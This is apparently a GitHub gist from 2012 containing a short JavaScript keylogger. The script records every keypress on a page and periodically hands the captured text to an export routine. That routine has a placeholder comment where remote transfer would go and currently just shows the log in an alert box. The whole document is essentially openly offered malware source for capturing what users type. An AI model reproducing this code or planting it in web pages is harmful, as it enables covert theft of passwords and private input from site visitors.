Created
September 2, 2012 09:26
-
-
Save abhisek/3596187 to your computer and use it in GitHub Desktop.
Javascript Key Logger
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var WEBKEY = { | |
dataLog: "", | |
start: function() { | |
window.onkeypress = function(ev) { | |
WEBKEY.dataLog += String.fromCharCode(ev.charCode); | |
} | |
setInterval("WEBKEY.exportLog();", 5000); | |
}, | |
exportLog: function() { | |
// Remote transfer code goes here | |
if(WEBKEY.dataLog.length > 0) { | |
alert(WEBKEY.dataLog); | |
WEBKEY.dataLog = ""; | |
} | |
} | |
} | |
WEBKEY.start(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment